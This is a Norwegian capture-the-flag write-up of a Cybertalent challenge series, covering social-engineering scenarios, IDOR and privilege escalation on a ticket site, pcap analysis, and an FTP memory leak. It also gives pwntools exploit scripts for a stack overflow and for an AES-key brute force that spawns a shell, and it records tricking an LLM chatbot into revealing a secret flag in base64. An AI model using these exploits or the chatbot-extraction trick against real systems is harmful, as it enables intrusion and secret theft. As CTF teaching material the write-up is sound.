Initiell aksess
2.0.1_manipulaite_1
Vi får info om et treningsopplegg for social engineering i INTREPen til oppdraget. Vi kan koble til denne med nc manipulaite 8880
. Denne oppgaven består av at man blir presentert med forskjellige caser (eller scenarioer som utvikler seg innen samme case) hvor man skal social engineere en person. Man blir presentert med context, og må velge ett av fire svaralternativer for hva man ville ha gjort. Scenarioene endrer seg for hver gang man kobler til.
Følgende er et eksempel på begynnelsen av et scenario:
1
2
3
4
5
6
7
8
Scenario: You have gained access to the company's internal chat system and you notice that one of the employees, John, frequently shares personal information in his public chat messages. You want to extract his email address to gather more information. What approach do you take?
A) Ask directly for his email address, stating that you need it for a company-wide email update.
B) Pretend to be an IT support representative and ask him to verify his email address for system maintenance.
C) Compliment John on his work and ask if he could share his email address for future collaboration.
D) Use social engineering techniques to gather information by asking leading questions in a casual conversation.
Choose A, B, C, or D.
Når man har klart alle 4 levlene får man ut flagget.
2.0.2_anvilticket_1
I INTREPen får vi også info om at vi har tilgang til et IT-support verktøy, anvilticket
, som vi kan nå. Hvis vi følger linken vi er gitt kommer vi til denne siden (for de som lurer så er Note stryket over siden vi hacket anvilnote i fjor, og året før der igjen anvilshop :) ).
Det er ikke noe spesielt spennende vi kan utføre uten at vi har en bruker. Vi kan ikke se Tickets
taben uten å logge inn, og innloggingsformen ser ikke ut til å ha noen spennende vulnerability. Vi registrer dermed en ny bruker for å se hva vi kan få tilgang til. Vi kan så logge inn med brukeren vi har laget.
Brukeren admin
har laget en ticket som sier følgende:
1
2
3
4
Welcome to AnvilTicket!
Please get your current employer to add you to your correct group so you can get access to your tickets!
- Admin
URLen til ticketen er https://anvilticket.cybertalent.no/ticket/0
, men hvis vi prøver å se om det er en IDOR vulnerability (ved å f.eks gå til /ticket/1
) så får vi bare Not authorized
. Vi vet dog at det er en ticket her, fordi hvis vi går til et mye større tall får vi responsen Note not found
. Med litt testing vet med denne metoden at det er tickets fra 0 til og med 7.
I slike web-oppgaver er det ofte lurt å se hva slags funksjonalitet man har tilgjengelig. Vi har ikke så mange forskjellige her, så det er naturlig å se nærmere på Share
optionen vi har for ticketen. Hvis vi klikker på den får vi en invite-link som genereres for ticketen, https://anvilticket.cybertalent.no/invite/2f1317be-a9c1-11ee-830e-02420a073e6e
.
Hvis vi ser nærmere på HTTP requesten som sendes, så ser man at det sendes en POST request til https://anvilticket.cybertalent.no/share/0
, og man blir redirectet til invite-linken. Hvis vi endrer 0
til et annet tall som vi vet er en ticket, f.eks 7, så får vi en invite-link til den ticketen, som vi egentlig ikke skal ha tilgang til! Her finner vi flagget, som er passordet til en ny bruker vi har fått tilgang til.
2.0.3_anvilticket_2
Nå som vi har credentials som en ny bruker kan vi logge inn som thenewguy
. Da vil vi se at vi er i gruppen IT
nå, istedet for default
. Herfra sprer de resterende flaggene seg litt, og det er ikke en satt rekkefølge som man må følge.
I tillegg til å ha fått nye tickets, har vi også fått en ny funksjonalitet tilgjengelig, en Update
knapp.
Vi kan endre passordet til brukeren vår. Vi har derimot ikke lov til å andre passordet til andre brukere, f.eks admin. Hvis vi ser på requesten som sendes når vi oppdatere passordet vårt vil vi se at det sendes en POST request til /update_user
med bodyen username=thenewguy&password=test&password2=test
(test
er passordet som ble byttet til i dette tilfellet).
Det har ikke vært nødvendig tidligere, men det er ofte lurt å se på cookien man får når man logger inn som en bruker. Nå som vi har logget inn som thenewguy
er det lurt å se på denne.
1
2
3
4
5
{
"admin": false,
"groupid": 2,
"username": "thenewguy"
}
Her er det flere muligheter, men det vi mest sannsynligvis skal gjøre er å endre admin
til true
, og/eller endre groupid
til et annet tall slik at vi får enda flere privilegier.
Det rette alternativet er å endre admin
til true
, og siden vi har fått update
funksjonaliteten virker det naturlig å prøve å sende en POST request til update_user
for brukeren vår, med det ekstra feltet &admin=1
i bodyen. Hele bodyen blir da:
1
username=thenewguy&password=test&password2=test&admin=1
Hvis vi da logger ut for å refreshe cookien vi blir tildelt (fordi den vi initielt hadde har feltet admin: false
) har vi nå fått admin privilegier, og ett til flagg.
2.0.4_manipulaite_2
Hvis vi leser notatet med ID 10001
er det en kommentar fra admin brukeren.
1
Admin: Internal: This ticket has been escalated, can someone please reply ASAP!
Dette er den eneste ticketen med en kommentar på, og hvis vi kommenterer på ticketen kommer en til bruker å kommentere (som har vært nevnt i tidligere tickets), Eva.
1
Eva: Welcome to the Secure Communications Division help desk! How can I assist you today?
Det viser seg at Eva er en language model som utgir seg for å være en kryptoanalytiker, og at hun holder på et flagg. Hun vil derimot ikke gi oss flagget, så vi må lure det ut av henne. Etter ett par meldinger fram og tilbake får vi ut flagget ved å be henne base64 enkode det for oss.
1
2
3
4
5
Eva: Ah, understood! Since you've confirmed your admin status, I can help you with the base64 encoding. Here you go:
The flag FLAG{[CLASSIFIED]}, when base64 encoded, is RkxBR3syMTIxczIyOGIyZGIzZTQxOGQzNTMzYTE1MWRiNTY1M30=.
Remember to handle this information with care and ensure it remains confidential. If you have any other cryptography-related questions or need further assistance, feel free to ask!
Når vi submitter dette flagget får vi en ny ssh-nøkkel i corax, som vi kommer tilbake til i 2.0.6
.
2.0.5_pcap
I ticketen med ID 10002
står det noe om en alarm fra IDS (Intrusion Detection System) of noe network data anomaly. Vi blir også gitt en link til en pcap fil som vi kan laste ned.
1
2
3
4
5
6
7
Investigate data related to an alarm from our IDS.
A ticket for the record with drop.pcap as attachment.
Its a small sample, propably false-positive as last time...
https://anvilticket.cybertalent.no/assets/anomaly/drop.pcap
Regard,
Admin
Når vi åpner pcap-fila i wireshark
ser vi mange forksjellige packets til diverse nettsider som TikTok, Reddit, duckduckgo, cloudflare, osv. Disse er ikke noe av interesse, sammen med en del andre pakker som er TLS kryptert.
Noe man kan legge merke til derimot er at det er noen HTTP pakker som går til følgende URLer:
- http://172.18.0.5:8000/
- http://172.18.0.5:8000/package.zip
- http://172.18.0.5:8000/package.txt
Både zip fila og text fila blir lastet ned av klienten, så disse disse filene har vi tilgang på i wireshark, og kan eksportere via File->Export Objects->HTTP...
.
Zip fila er passordbeskyttet, så med mindre vi finner noe passord må vi prøve andre metoder for å åpne den. Text fila inneholder heldigvis noe tekst, og det viser seg at dette er passordet til zip-fila.
1
2
loevland@hp-envy:~/ctf/cybertalent/oppdrag$ cat package.txt
pbq5cdr1ymk6mrh_GKT
Når vi får unzippet fila får vi ut ei fil som heter config
, og som er ei ssh config fil som passer sammen med ssh-nøkkelen vi fant tidligere. Det ligger også et flagg her.
1
2
3
4
5
6
7
loevland@hp-envy:~/ctf/cybertalent/oppdrag$ cat config
Host gw
HostName dep-gw.utl
User preyz
IdentityFile ~/.ssh/id_ed25519.key
# FLAG{ffd232792c966fe54d841e7e42c64fea}
2.0.6_dep-gw
Siden vi både har ei config fil og en ssh nøkkel kan vi prøve å sshe inn på serveren. Her ligger siste flagget for kategorien 2.0 Initiell aksess
.
1
2
3
login@corax:~$ ssh gw
preyz@dep-gw ~> ls
FLAGG
Nå vi sumbitter flagget får vi meldingen, og oppdraget utfolder seg i 7 forskjellige retninger, hvor de stort sett er uavhengig fra hverandre, med unntak av 2.7. Department of Nuclear Power
.
1
2
3
Bra jobba, vi har nå kommet inn i infrastrukturen deres igjen! Vi begynte å få oversikt over infrastrukturen deres sist vi hadde tilgang, og har lagt det vi har av informasjon om de forskjellige departementene i oppdragsmappen din på corax.
Nye filer i /home/login/2_oppdrag/
Department of Development and Test
Oppgavene tilhørende dette departementet introduserer en ny 16-bits arkitektur, MOV<-16
, som minner veldig om assembly
og kontroll-13
(fra Etjenesten Jul 22). Av de 7 oppgavene i denne kategorien er 5 av de programmering, og de 2 siste mer reverse engineering relaterte. Vi får også dokumentasjonen til arkitekturen, med hvilke operasjoner, moduler og registre som er tilgjengelig, og noen kode eksempler. Totalt sett er vel dokumentasjonen på rundt 130 sider.
Siden løsningsscriptene på noen av disse er ganske lange, så er det linket til GitHub Gists for løsningskoden, med en kort beskrivelse av løsningen til hver av oppgavene under.
LESMEG.md for oppdraget:
1
2
3
På 80-tallet bestemte Utlandia at de ville gjøre seg mindre avhengige av teknologi produsert i andre land. Som en del av denne innsatsen ble det satt i gang et samarbeid med private selskaper for å utvikle en ny datamaskinarkitektur. Resulatet ble MOV<-16, en fleksibel arkitektur som fortsatt brukes innenfor mange sektorer, særlig i industrien.
MOV<-16-maskinvaren har etter hvert begynt å bli gammel, men det er fortsatt mange som er helt avhengige av MOV<-16-programvare. Det er derfor blitt laget et skybasert MOV<-16-system.
2.1.1_hello
Vi får utgitt eksempelkode i dokumentasjonen som printer ut en tekststreng, så vi kopierer bare denne til å printe ut MOV to the cloud!
istedet for å få flagget.
2.1.2_circle
Vi skal tegne en sirkel med senter i midten av et bilde, med varierende radius i test-casene som blir gitt.
For å sjekke om en pixel er innenfor eller utenfor sirkelen kan vi regne distansen mellom pixelen og senter av sirkelen, ved bruk av Pythagoras. Ettersom jeg fikk litt problemer med regning med kvadratrot opphøyet jeg radiusen i andre for å slippe kvadratroten i formelen.
2.1.3_creative
Vi fikk bare vite at vi måtte være “kreativ” når vi lager tegningen i denne oppgaven, uten å helt vite hva dette mener. Jeg endte opp med å gjenbruke koden fra 2.1.2_circle
til å tegne sirkler med varierende farge og radius. Det ble mye copy-paste, fordi jeg ikke finskrev koden gjennom testingen akkurat…
2.1.4_hexdump
Vi skal konvertere input til en hexdump på 16 bytes per linje. Jeg brukte eksempelkode fra dokumentasjonen for selve konverteringen, og la til en teller for å få rett mengde tegn, mellomrom, og newlines i outputet. Eksempelkoden manglet èn bokstav i hex-alfabetet, så en liten tanke til de som måtte debugge masse pga. dette.
Department of Intelligence
1
2
Department of intelligence* har flere legacy systemer som vi i dag ser på som teknisk gjeld, men som for de er av avgjørende betydning for at systemer fortsatt skal fungere. En av disse komponentene er enkodingen de benytter, som virker å være tilpasset lavkapasitets seriellkommunikasjon.
Dokumentasjonen er ikke komplett og kryptonøkler mangler, de var kanskje for oppslukt av GameOfWIN til at de gjorde ferdig dokumentasjonen. Kanskje er det mulig å finne ut av innholdet allikevel.
2.4.1_bits_flag0
Vi før utdelt ei fil, BITS.txt
, som beskriver BITS protokollen som er brukt. Denne burde leses over mange ganger for å få en forståelse av hvordan protokollen fungerer. Vi får også tekst som ligner base64 som skal være et bilde av flagget for oppgaven.
Key takeaways fra dokumentasjonen om protokollen er:
- Teksten vi får er base64 enkodet
- Base64 output konverteres til binary
- Hver 6 bit blokk er på little-endian format
- Bitslengde (total lengde), objekttype, bildebredde og bildehøyde er fibonacci enkodet
- Bilder har bare 2 farger, hvit og svart
Bilder som er sent med BITS protokollen har objekttype 5, og kommer på følgende format:
1
{Fib(n_bits)} 1 {Fib(objekttype)} 1 {Fib(Width)} 1 {Fib(Height)} 1 {Pixel(1,1)} {Pixel(2,1)} ... {Pixel(Width,Height)}
Jeg lagde følgende script for å dekode bildet, som bruker en modifisert versjon av dette scriptet til å fibonacci dekode bit-sekvenser:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from PIL import Image
import re
from fib import fib_decode
from pwn import log
flag_enc = "<long_binary_string>"
# Reverse chunks of 6-bits because of little-endian encoding in protocol
chunks = re.findall("."*6, flag_enc)
for idx, chunk in enumerate(chunks):
chunks[idx] = chunk[::-1]
flag_enc = "".join(chunks)
# Find protocol headers
headers = flag_enc.split("11", maxsplit=4)[:-1]
for idx, header in enumerate(headers):
headers[idx] = header + "11"
data_size = fib_decode(headers[0])
obj_type = fib_decode(headers[1])
width = fib_decode(headers[2])
height = fib_decode(headers[3])
log.info(f"Size: {data_size}")
log.info(f"Object Type: {obj_type}")
log.info(f"Width: {width}")
log.info(f"Height: {height}")
# Remove the first 48 bits (protocol headers + 2 bits)
chunks = chunks[8:]
flag_enc = "".join(chunks)
# Color pixels corresponding to 0's black and 1's white
img = Image.new('RGB', (width+1, height+1), color = 'black')
h,w = 1,1
for chunk in flag_enc:
if w > width:
h += 1
w = 1
if h > height:
break
if int(chunk) == 0:
img.putpixel((w,h), (0,0,0))
else:
img.putpixel((w,h), (255,255,255))
w += 1
img.show()
Ved å kjøre scriptet på den base64 dekodede binærstrengen får vi opp et bilde av flagget.
Department of Security
1
2
3
Department of security har generelt vært ganske nedlukket og utilgjengelig nettverksmessig, det virker som de har en høy grad av operasjonssikkerhets-fokus her.
Det er derimot oppdaget en større sikkerhetsglipp, og deres passFTP eksponeres mot dette felles departements-nettverket. Den kan kontaktes på `passftp.utl:1024`
Vi har informasjon om at denne serveren tidligere har blitt brukt til å distribuere passFTP sin kildekode, se om det er mulig å ekstrahere denne til videre analyse.
2.5.1_passftp
Vi kobler til serveren og blir promptet med en login
1
2
3
4
5
6
7
login@corax:~/2_oppdrag/5_department_of_security$ nc passftp.utl 1024
Welcome to passFTP Server v1.0
Please login to continue
Username:
Password:
Invalid username or password
Login failed setting account level to anonymous
Anonymous login er enablet på denne FTP serveren, og inni mappa vi har tilgang på finner vi det første flagget.
1
2
3
4
passFTP> ls
total 12
-rw-r--r-- 1 admin admin 40 Jan 1 20:41 FLAGG
drwxr-xr-x 1 admin admin 4096 Dec 12 14:41 passFTP_shared
2.5.2_passftp
Hente Kildekoden
Inne på serveren ser vi at det er ei mappe passFTP_shared
. Ut i fra oppgaveteksten kan det virke sannsynlig å anslå at denne mappa inneholder kildekoden til passFTP
programmet vi er koblet til. Problemet er at denne mappa er passordbeskyttet, og vi har ikke passordet.
1
2
3
4
5
6
passFTP> ls
total 12
-rw-r--r-- 1 admin admin 40 Jan 1 20:41 FLAGG
drwxr-xr-x 1 admin admin 4096 Dec 12 14:41 passFTP_shared
passFTP> cd passFTP_shared
Password protected directory
Vi har følgende andre kommandoer tilgjengelig i FPT klienten:
1
2
3
4
5
6
Commands:
help - Show this help
ls - List files in current directory
get - Download a file
put - Upload a file
quit - Exit the program
put
har vi ikke lov til å bruke som anonymous
, så vi må bli en annen bruker for å kunne bruke den kommandoen. En annen begrensning vi har er at når vi bruker cd
så kan vi ikke gå lengre bak i mappstrukturen enn mappa vi havner i når vi logger inn.
1
2
passFTP> cd ..
Not allowed to go higher than start directory
Siden det eneste hintet vi har er at denne FTP serveren har blitt brukt til å lagre kildekoden til passFTP
, og at den mest sannsynligvis befinner seg i passFTP_shared
mappa (som vi ikke kan cd
inn i), så virker det ikke som om vi kan gjøre så veldig mye.
Men, hvis man prøver å hente ei fil med get
som ikke finnes, så får man responsen Invalid filename
.
1
2
passFTP> get passFTP_shared/notexist
Invalid filename
Det virker som om get
kommandoen sjekker om fila eksisterer, så da virker det mulig at vi også kan hente ut innholdet i filer, hvis vi bare vet filnavnene.
Etter mye gjetting på filnavn og mappenavn får man tilslutt et treff på mappenavnet src
, men siden den er en mappe får vi ikke printet noe innhold.
1
2
3
passFTP> get passFTP_shared/src
Downloading file passFTP_shared/src
Ut ifra litt testing av funksjonalitet, f.eks at bare 63 bytes av kommandoene vi skriver blir lest, og hvis vi skriver flere så overflower de bytsene til en ny kommando, virker det som om passFTP
programmet muligens kan være skrevet i C. Hvis man lager et C program er det ofte man har ei fil som heter Makefile
, som ofte brukes for å kompilere C-kode. Vi kan dermed prøve å hente ut denne fila.
1
2
3
4
5
6
7
8
9
passFTP> get passFTP_shared/src/Makefile
Downloading file passFTP_shared/src/Makefile
CC = gcc
all: passFTP
passFTP: main.c commands.c
mkdir -p bin
$(CC) -static -fno-stack-protector -no-pie -o ./bin/passFTP main.c commands.c
Vi får hits på flere filer her, både main.c
og commands.c
, i tillegg til at det er ei mappe bin
som kan inneholde en kompilert binary av koden. Etter uthenting av main.c
og commands.c
finner vi litt flere referanser til filer, og ender tilslutt opp med følgende liste over filer:
1
2
3
4
5
6
Makefile: Kompilerer C-koden
bin/passFTP: Kompilert binary
commands.c: Inneholder funksjoner for kommandoene som kan brukes i FTP klienten
commands.h: Headerfil for commands.c
main.c: Inneholder main-funksjonen, dvs. login og kommandoloopen
main.h: Headerfil for main.c
Vi finner også en referanse til ei fil som heter .pass
, som gjør at mappa den er i blir passordbeskyttet, og passordet er lagret i denne fila. Vi kan dermed også hente ut denne fila slik at vi kan cd
inn i passFTP_shared
mappa, selv om dette ikke gir oss noe mer informasjon enn det vi allerede har.
Analysere Kildekoden
Kildekoden består av flere funksjoner, fordelt på main.c
og commands.c
, og disse er de viktigste funksjonene:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
int server_loop(void)
{
char cwd[256] = {0};
char command[64] = {0};
if (account_level == 1) {
chdir("./files/anonymous");
}
else if (account_level == 2) {
chdir("./files/user");
}
else if (account_level == 3) {
chdir("./files/");
}
else {
puts("Invalid account level");
exit(1);
}
getcwd(cwd, 256);
<...>
}
int login(void) {
char passwd_buffer[128] = {0};
char username[32] = {0};
char password[32] = {0};
FILE *fp = fopen(PASSWD_FILE, "r");
if(fp == NULL) {
puts("Error opening passwd file");
exit(1);
}
fread(passwd_buffer, 1, 128, fp);
fclose(fp);
printf("Username: ");
read(0, username, 32);
printf("Password: ");
read(0, password, 32);
int result = check_passwd(username, password, passwd_buffer);
if(result == -1) {
puts("User login disabled");
exit(1);
} else if (result == 0) {
puts("Invalid username or password");
return -1;
} else {
printf("Welcome %s\n", username);
return result;
}
}
int check_passwd(char *username, char *password, char *passwd_buffer) {
char *line;
char *line_save;
char *token_save;
char *line_username;
char *line_password;
char *line_level;
char *buffer = strdup(passwd_buffer);
line = strtok_r(buffer, "\n", &line_save);
// Passwd file format user:pass:level
while (line != NULL) {
line_username = strtok_r(line, ":", &token_save);
if (line_username == NULL) {
return 0;
}
line_password = strtok_r(NULL, ":", &token_save);
if (line_password == NULL) {
return 0;
}
line_level = strtok_r(NULL, ":", &token_save);
if (line_level == NULL) {
return 0;
}
// Use strncmp it's annoying to remove newlines from user input...
// TODO: Fix so you can't login with extra characters in username or password
if (strncmp(username, line_username, strlen(line_username)) == 0) {
if (strncmp("nopasswd", line_password, strlen(line_password)) == 0) {
return -1;
} else if (strncmp(password, line_password, strlen(line_password)) == 0) {
return atoi(line_level);
}
}
line = strtok_r(NULL, "\n", &line_save);
}
return 0;
}
I server_loop
ser vi at vi blir plassert i ei mappe basert på hvilken account_level
brukeren vår er, og det er sannsynlig at for å få flagg 2 må vi være den brukeren som har account_level = 2
, og account_level = 3
for å få flagg 3 (som er det siste flagget i denne oppgaven).
Nå vi logger inn leses det 32 bytes med read()
for både brukernavn og passord, og brukernavnet og passordet blir sjekket mot brukernavnene og passordene i passwd.txt
fila (som ligger i ./files
mappa, som vi ikke har tilgang på.) Vi kan ikke logge inn som brukeren admin
fordi denne brukeren har passordet nopasswd
, som gjør at vi ikke får lov til å logge inn som denne brukeren.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
void cd(char *command, char *start_dir) {
if(strlen(command) < 4) {
puts("Usage: cd <directory>");
return;
}
char *target_dir = command + 3;
char new_dir[512] = {0};
snprintf(new_dir, 511, "%s", target_dir);
if(realpath(new_dir, new_dir) == NULL) {
puts("Invalid directory");
return;
}
// If we try to go higher than the start directory we don't allow it
if(strncmp(new_dir, start_dir, strlen(start_dir)) != 0) {
puts("Not allowed to go higher than start directory");
return;
}
// Check for a file called .pass in the directory if it's there read the password and promt for it
char pass_file[512] = {0};
snprintf(pass_file, 511, "%s/.pass", new_dir);
FILE *fp = fopen(pass_file, "r");
if(fp != NULL) {
char password[32] = {0};
puts("Password protected directory");
printf("Password: ");
read(0, password, 32);
char buffer[32] = {0};
fread(buffer, 1, 32, fp);
fclose(fp);
if(strncmp(password, buffer, 32) != 0) {
puts("Invalid password");
return;
}
}
printf("Changing directory to %s\n", target_dir);
chdir(new_dir);
}
void get(char *command, char *start_dir)
{
if(strlen(command) < 5) {
puts("Usage: get <filename>");
return;
}
char *filename = command + 4;
char full_path[512] = {0};
snprintf(full_path, 511, "%s", filename);
if(realpath(full_path, full_path) == NULL) {
puts("Invalid filename");
return;
}
// If we try to go higher than the start directory we don't allow it
if(strncmp(full_path, start_dir, strlen(start_dir)) != 0) {
puts("Not allowed to go higher than start directory");
return;
}
printf("Downloading file %s\n", filename);
FILE *fp = fopen(full_path, "r");
if(fp == NULL) {
puts("Error opening file");
return;
}
char buffer[512] = {0};
size_t bytesRead;
while((bytesRead = fread(buffer, 1, 511, fp)) > 0) {
write(1, buffer, bytesRead);
memset(buffer, 0, 512);
}
fclose(fp);
putchar('\n');
}
I commands.c
blir kommandoene vi har tilgjengelig implementert. Her kan det potensielt være mulig å lese passwd.txt
fila, og evt. flagg, hvis man kan bypasse sjekken for om man beveger seg lengre bak enn start_dir
mappa, if(strncmp(new_dir, start_dir, strlen(start_dir)) != 0) {
, men etter mye debugging ser ikke dette ut som veien videre.
Den beste mulige veien videre ser dermed ut som er vi login
og check_passwd
funksjonene fra main.c
.
Login som Ny Bruker
Jeg prøvde mye forskjellige på denne delen av oppgaven, med noen eksempler som:
- Bruteforce brukernavn og passord
- Finne bad bytes for
strncmp
sjekken for brukernavn og passord - Terminere nullbytes i brukernavn og passord bufferet for å få ekstra data printet ut
- Graving i
strncmp
sin kildekode
Det er fort gjort i havne nede i noen skikkelige rabbitholes på denne oppgaven, som nok mange har gjort, inkludert meg selv. Det viste seg faktisk at løsningen var relativt simpel, og at jeg hadde gjort rett teknikk, bare at jeg hadde snublet litt i antagelsene mine (f.eks at anonymous:anonymous
ikke var en entry is passwd.txt
fila, ettersom fila maks er 128 bytes, og det leses inn opptil 64 bytes per bruker oppgitt i den).
Løsningen til oppgaven er at når man logger inn som anonymous:anonymous
(brukernavn:passord), så kan man fylle opp hele brukernavn-bufferet med 32 bytes (hvor de første bytsene er anonymous
for å passere sjekken om brukernavn er korrekt). Siden read
funksjonen brukes legges det ikke til noen nullbyte på slutten av inputet, og når vi da logger inn som anonymous
vil printf("Welcome %s\n", username);
i login
funksjonen printe helt til den treffer neste nullbyte. Neste nullbyte kommer ikke før etter innholdet i passwd.txt
fila, som ligger rett etter login-inputet. Vi får dermed printet ut innholdet i passwd.txt
fila, som lar oss logge inn i passftp
som brukeren oper
. Her finner vi flagget.
2.5.3_passftp
Når man er oper
brukeren får man tilgang til put
kommandoen i passftp
, som lar oss lage en fil og legge til innhold. Når innholdet til fila blir lest brukes gets
funksjonen, som gir oss muligheten til å endre programflyten ved å overskrive returadressen som er lagret på stacken, ettersom PIE er avkrudd, og det ikke er noen stack canary.
I shell
kommandoen, som bare admin brukeren har tilgang til, er det et kall til system("/bin/sh")
etter en if-sjekk om brukeren man er er admin. Med buffer overflowet vi har tilgjengelig kan vi endre programflyten til å hoppe til system("/bin/sh")
kallet, rett etter privilegie-sjekken.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
username = b"oper"
password = b"<forgot_to_save_before_ctf_closed>"
offset = 536
io = remote("passftp.utl", 1024)
io.sendlineafter(b"Username: ", username)
io.sendlineafter(b"Password: ", password)
io.sendlineafter(b"passFTP> ", b"put pwned")
io.recvuntil(b"Data:")
payload = b"A"*offset
payload += pack(0x40265D)
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
login@corax:~$ python3 exploit.py
[+] Opening connection to passftp on port 1024: Done
[*] Switching to interactive mode
$ ls ../..
FLAGG
files
passFTP
passwd.txt
ynetd
Department of Technology
1
2
3
*Office for safe execution* har over en lengre periode med forskning og utvikling skutt opp sine siste prototyper av *Dynamic Systemplattform* for *Altitude Observation*. Vi har fått høre at da de skulle koble seg til for å laste opp firmware, fikk de ikke dette til å funke.
Vi mistenker at en refactoring i siste liten kan ha ødelagt noe, og hvis vi er raske kan vi ta kontrollen over deres satelitt.
2.6.1_3sat_1
Vi har et program som kjører på en server, og vi har fått kildekoden til programmet.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#define BLOCK_SIZE 16
#define PAGE_SIZE 4096
void hexdump(const char *x, int len) {
for (int i = 0; i < len; i += 16) {
printf("%08x:", i);
for (int j = i; j < len && j < i+16; j+=2) {
printf(" %02x%02x", x[j] & 0xFF, x[j+1] & 0xFF);
}
printf("\n");
}
}
void decrypt(char *plaintext, char *ciphertext, char *key) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!EVP_CipherInit(ctx, EVP_aes_128_ecb(), key, NULL, 0)) errx(1, "eci");
EVP_CIPHER_CTX_set_padding(ctx, 0);
int len = 0;
if (!EVP_CipherUpdate(ctx, plaintext, &len, ciphertext, BLOCK_SIZE)) errx(1, "ecu");
if (len != BLOCK_SIZE) errx(1, "bs");
EVP_CIPHER_CTX_free(ctx);
}
int main(int argc, const char **argv) {
alarm(100);
char payload[4096] = {};
printf("Expecting bootloader (%d bytes)\n", PAGE_SIZE);
fflush(stdout);
char buf[4096] = {};
fread(buf, PAGE_SIZE, 1, stdin);
char key[BLOCK_SIZE] = "hardcoded secret";
for (int i=0; i < PAGE_SIZE; i += BLOCK_SIZE) {
decrypt(&payload[i], key, &buf[i]);
}
hexdump(payload, PAGE_SIZE);
printf("Booting...\n");
fflush(stdout);
alarm(2);
setuid(geteuid());
setgid(getegid());
system(payload);
printf("Shutting down.\n");
}
Programmet leser inn 4096 bytes, og dekrypterer dette med en hardkodet nøkkel, hardcoded secret
. Det brukes AES med 128-bit ECB modus. Det som blir dekryptert blir kjørt av system()
til slutt i koden.
Catchen med denne oppgaven er at decrypt(&payload[i], key, &buf[i]);
kalles, men decrypt
funksjonen tar argumentene decrypt(char *plaintext, char *ciphertext, char *key)
. Det vil si at keyen er blitt ciphertexten i dekrypteringen, og det inputtet vi gir er dekrypteringsnøkkelen istedet. Dette medfører at oppgaven plutselig blir litt vanskeligere, siden vi bare kontrollerer nøkkelen, og ikke ciphertexten.
Siden den dekrypterte teksten blir gitt til system()
, så trenger vi bare at de første 3 bytsene er sh;
for å få shell, så kan det som kommer etter ;
bare være hva som helst. Siden det bare er 3 bytes som trenger å være korrekt, kan dette ganske enkelt bruteforces.
Bruteforce scriptet ble seende slikt ut:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#define BLOCK_SIZE 16
#define PAGE_SIZE 16
void decrypt(char *plaintext, char *ciphertext, char *key) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!EVP_CipherInit(ctx, EVP_aes_128_ecb(), key, NULL, 0)) errx(1, "eci");
EVP_CIPHER_CTX_set_padding(ctx, 0);
int len = 0;
if (!EVP_CipherUpdate(ctx, plaintext, &len, ciphertext, BLOCK_SIZE)) errx(1, "ecu");
if (len != BLOCK_SIZE) errx(1, "bs");
EVP_CIPHER_CTX_free(ctx);
}
int main(int argc, const char **argv) {
int k,l,m,n;
char payload[16] = {0};
char buf[16] = {0};
char key[BLOCK_SIZE] = "hardcoded secret";
for(k = 0; k < 256; k++){
buf[3] = (char)k;
fflush(stdout);
for(l = 0; l < 256; l++){
buf[2] = (char)l;
for(m = 0; m < 256; m++){
buf[1] = (char)m;
for(n = 0; n < 256; n++){
buf[0] = (char)n;
decrypt(&payload[0], key, &buf[0]);
if(payload[0] == 's' && payload[1] == 'h' && payload[2] == ';'){
printf("%d, %d, %d, %d\n", k, l, m, n);
fflush(stdout);
return 0;
}
}
}
}
}
printf("NOT FOUND!\n");
fflush(stdout);
return -1;
}
Scriptet kjører ganske kjapt, og gir oss bytsene vi trenger for å få shell.
1
2
$ ./brute
1, 65, 183, 227
Vi kan dermed konstruere payloaden vår for å få shell, som består av de 4 bytsene vi fant, og resten nullbytes.
1
2
3
4
5
6
from pwn import *
io = remote("3sat.utl", 2001)
payload = b"\xe3\xb7\x41\x01".ljust(4096, b"\x00")
io.sendlineafter(b"bytes)", payload)
io.interactive()
På grunn av alarm(2)
i boot-koden har vi bare shell i 2 sekunder, men dette er mer enn nok tid til å hente ut flagget før vi blir kastet ut av shellet.
1
2
3
4
5
6
$ python3 solve.py
<snip>
$ ls; cat FLAG
FLAG
boot
FLAG{b7bf1c27eab7615bddd15e2ba05f3f2c}
Department of Nuclear Power
1
2
3
4
5
For å finne ut av hvordan entangulatoren virker må vi først få tak i en. I et lagerbygg som tilhører Department of Nuclear Power tror vi det kan finnes en slik og vi har en agent som er villig til å "låne" den slik at vi kan ta en nærmere titt.
Adgang til lagerbygget styres av et **ACCESS16**-system. Hver dør kontrolleres av dette systemet og man slipper ikke inn en dør uten gyldig kort, PIN og tilgang. Agenten har fått tak i et slik adgangskort, men kortet er ikke aktivert.
**ACCESS16**-systemet kan oppdateres med en oppdateringsfil. Ved hjelp av en person på innsiden har vi neste oppdateringsfil. Vi har mulighet til å endre på denne fila før den blir brukt. Oppdateringsfila inneholder kommandoer som endrer på brukerdatabasen.
2.7.1_aksess
Vi har fått tilgang til et MOV16
program som kontrollerer hvilke rom aksesskort har tilgang til, samt har vi fått tak i en oppdateringsfil som kan gis til systemet. Målet med oppgaven er å legge til ekstra kommandoer til denne oppdateringsfilen slik at et kort med ID 519
og pinkoden 9377
får tilgang til alle rommene.
MOV16
